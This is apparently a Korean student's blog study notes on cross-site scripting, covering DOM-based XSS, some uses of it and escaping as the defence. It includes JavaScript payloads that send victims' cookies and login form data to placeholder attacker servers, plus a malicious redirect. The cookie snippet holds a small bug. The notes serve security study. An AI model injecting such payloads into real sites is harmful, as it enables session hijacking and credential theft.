Almon Dev

모의해킹 공부 10주차 (XSS) 본문

모의해킹/모의해킹

모의해킹 공부 10주차 (XSS)

Almon 2024. 12. 20. 03:17

10주 차 정리

 

XSS (Cross-site Scripting)

 

 

Dom Based XSS

파라미터를 브라우저에서 조립하는 것을 이용해 스크립트를 실행하는 기법입니다.
=> Reflected와는 다르게 서버 응답에 포함되어 있지 않습니다.
ex) js를 이용한 태그 생성 및 수정

 

 

XSS 활용

xss 취약점이 있을 경우 키로거, 세션 탈취, 악성 페이지로 리다이렉션 등이 있을 수 있습니다.

 

1. 세션 탈취

let cookieData = document.cookie;
let img = new Image();
img.src = '쿠키를 받을 url?cookie=' + img

 

document.cookie를 이용해서 피해자의 쿠키를 cookieData에 저장한 뒤

이미지 태그를 생성해서 src를 설정해 해당 url에 GET 요청을 보내도록 합니다.

url에 해당하는 공격자의 서버에서 get요청을 받으면 cookie 파라미터의 값을 로그에 기록합니다.


2. 키로거

let loginForm = document.querySelector('.loginForm');

loginForm.addEventListener('submit', (e) => {
	e.preventDefault();
    const formData = new FormData(e.target);
    let data = {};
    
    formData.forEach((value, key) => {
        data[key] = value;
    });
    fetch('http://공격자 서버 url', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(data),
    });
})

 

스크립트가 자유롭게 삽입이 가능하다면 이벤트 리스너를 추가할 수 있습니다.

로그인 페이지와 같이 중요한 정보를 탈취당할 수도 있습니다.


3. 리다이렉션

window.location.href = "악성 url";

 

XSS를 이용해 리다이렉트 스크립트를 삽입해서 사용자를 악성 페이지로 이동시킬 수 있습니다.

 

XSS 대응 방법

< ' " > 등 html의 구조에 영향을 미치는 특수문자를 HTML Entity로 치환하기

 

 

과제

1. 수업 내용 정리
2. XSS ctf 문제 보고서 작성
3. XSS 시나리오 연구
4. 웹개발

'모의해킹 > 모의해킹' 카테고리의 다른 글

ctf 풀이 (XSS 2)  (1) 2024.12.23
ctf 풀이 (XSS 1)  (1) 2024.12.23
모의해킹 공부 9주차 (XSS)  (1) 2024.12.13
ctf 풀이 (SQL Injection Point 4)  (1) 2024.12.11
ctf 풀이 (SQL Injection Point 3)  (0) 2024.12.11